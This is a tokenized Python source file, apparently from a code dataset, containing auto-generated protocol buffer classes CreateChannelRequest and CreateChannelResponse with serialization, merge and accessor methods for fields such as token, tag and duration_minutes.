"\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", ")_", ":_", "n_", "+=_", "1_", "+_", "self_", "._", "length", "Var", "Int64", "_", "(_", "self_", "._", "duration", "\\u", "minute", "s\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "tag", "\\u_", ")_", ":_", "n_", "+=_", "1_", "+_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "tag", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "n_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Byte", "Size", "Parti", "al_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "+=_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", ")_", ":_", "n_", "+=_", "1_", "+_", "self_", "._", "length", "Var", "Int64", "_", "(_", "self_", "._", "duration", "\\u", "minute", "s\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "tag", "\\u_", ")_", ":_", "n_", "+=_", "1_", "+_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "tag", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Clear_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "clear", "\\u", "applica", "tion", "\\u", "key_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "clear", "\\u", "duration", "\\u", "minutes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "clear", "\\u", "tag_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Output", "Unc", "heck", "ed_", "(_", "self_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "16_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Var", "Int32_", "(_", "self_", "._", "duration", "\\u", "minute", "s\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "tag", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "26_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "tag", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Output", "Parti", "al_", "(_", "self_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "16_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Var", "Int32_", "(_", "self_", "._", "duration", "\\u", "minute", "s\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "tag", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "26_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "tag", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Tr", "y", "Merge_", "(_", "self_", ",_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "d_", "._", "avail_", "(_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tt_", "=_", "d_", "._", "get", "Var", "Int32_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tt_", "==_", "10_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "applica", "tion", "\\u", "key_", "(_", "d_", "._", "get", "Prefixe", "d", "String_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "tt_", "==_", "16_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "duration", "\\u", "minutes_", "(_", "d_", "._", "get", "Var", "Int32_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "tt_", "==_", "26_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set\\u", "tag_", "(_", "d_", "._", "get", "Prefixe", "d", "String_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "tt_", "==_", "0_", ")_", ":_", "raise_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Buffer", "Decode", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "skip", "Data_", "(_", "tt_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ",_", "prefix_", "=_", "\"\"_", ",_", "print", "Ele", "m", "Number_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "res_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "applica", "tion", "\\u", "key", "\\u_", ":_", "res_", "+=_", "prefix_", "+_", "(_", "\"", "applica", "tion", "\\u", "key", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "self_", "._", "Deb", "ug", "Format", "String_", "(_", "self_", "._", "applica", "tion", "\\u", "key", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", ":_", "res_", "+=_", "prefix_", "+_", "(_", "\"", "duration", "\\u", "minute", "s", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "self_", "._", "Deb", "ug", "Format", "Int32_", "(_", "self_", "._", "duration", "\\u", "minute", "s\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "tag", "\\u_", ":_", "res_", "+=_", "prefix_", "+_", "(_", "\"", "tag", ":", " ", "%", "s", "\\\\", "n", "\"_", "%_", "self_", "._", "Deb", "ug", "Format", "String_", "(_", "self_", "._", "tag", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "res_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Request_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "sparse_", ",_", "maxt", "ag_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "tuple_", "(_", "[_", "sparse_", "._", "get_", "(_", "i_", ",_", "default_", ")_", "for_", "i_", "in_", "xrange_", "(_", "0_", ",_", "1_", "+_", "maxt", "ag_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "has", "\\u", "token", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "token", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "has", "\\u", "duration", "\\u", "minute", "s\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration", "\\u", "minute", "s\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u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uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kto", "ken_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kd", "ura", "tion", "\\u", "minutes_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "TEXT_", "=_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "\"", "Error", "Code", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2_", ":_", "\"", "token", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "3_", ":_", "\"", "duration", "\\u", "minute", "s", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "TYPES_", "=_", "\\u", "Build", "Ta", "g", "Look", "up", "Table_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "NUMERIC", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "STRING_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "3_", ":_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "NUMERIC", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "3_", ",_", "Proto", "col", "Buffer_", "._", "Encoder_", "._", "MAX", "\\u", "TYPE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "STYLE_", "=_", "\"\"\"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "STYLE", "\\u", "CONTE", "NT", "\\u", "TYPE_", "=_", "\"\"\"\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "PROTO", "\\u", "DESCRIPT", "OR", "\\u", "NAME_", "=_", "'", "app", "hostin", "g", ".", "Creat", "e", "Chan", "nel", "Respons", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "contents_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "contents_", "is_", "not_", "None_", ":_", "self_", "._", "Merge", "Fro", "m", "String_", "(_", "contents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "token_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "token", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set\\u", "token_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "token", "\\u_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "token", "\\u_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "\\u", "token_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "token", "\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "token", "\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "token", "\\u_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "token_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "has", "\\u", "token", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "duration", "\\u", "minutes_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "duration", "\\u", "minute", "s\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set\\u", "duration", "\\u", "minutes_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "duration", "\\u", "minute", "s\\u_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clear", "\\u", "duration", "\\u", "minutes_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "duration", "\\u", "minute", "s\\u_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "duration", "\\u", "minutes_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "Merge", "From_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "x_", "is_", "not_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "x_", "._", "has", "\\u", "token_", "(_", ")_", ")_", ":_", "self_", "._", "set\\u", "token_", "(_", "x_", "._", "token_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "x_", "._", "has", "\\u", "duration", "\\u", "minutes_", "(_", ")_", ")_", ":_", "self_", "._", "set\\u", "duration", "\\u", "minutes_", "(_", "x_", "._", "duration", "\\u", "minutes_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Equals_", "(_", "self_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "x_", "is_", "self_", ":_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "token", "\\u_", "!=_", "x_", "._", "has", "\\u", "token", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "token", "\\u_", "and_", "self_", "._", "token", "\\u_", "!=_", "x_", "._", "token", "\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", "!=_", "x_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", "and_", "self_", "._", "duration", "\\u", "minute", "s\\u_", "!=_", "x_", "._", "duration", "\\u", "minute", "s\\u_", ":_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Is", "Initialized", "_", "(_", "self_", ",_", "debug", "\\u", "strs_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "initialized_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "initialized_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Byte", "Size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "token", "\\u_", ")_", ":_", "n_", "+=_", "1_", "+_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "token", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", ")_", ":_", "n_", "+=_", "1_", "+_", "self_", "._", "length", "Var", "Int64", "_", "(_", "self_", "._", "duration", "\\u", "minute", "s\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Byte", "Size", "Parti", "al_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "token", "\\u_", ")_", ":_", "n_", "+=_", "1_", "+_", "self_", "._", "length", "String_", "(_", "len_", "(_", "self_", "._", "token", "\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", ")_", ":_", "n_", "+=_", "1_", "+_", "self_", "._", "length", "Var", "Int64", "_", "(_", "self_", "._", "duration", "\\u", "minute", "s\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Clear_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "clear", "\\u", "token_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "clear", "\\u", "duration", "\\u", "minutes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", "Buffer_", "._", "Proto", "col", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Output", "Unc", "heck", "ed_", "(_", "self_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "self_", "._", "has", "\\u", "token", "\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "18_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Prefixe", "d", "String_", "(_", "self_", "._", "token", "\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "has", "\\u", "duration", "\\u", "minute", "s\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "out_", "._", "put", "Var", "Int32_", "(_", "24_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "._", "put", "Var", "Int32_", "(_", "self_", "._", "duration", "\\u", "minute", "s\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "e", "Chan", "nel", "Response_", "(_", "Proto", "col", 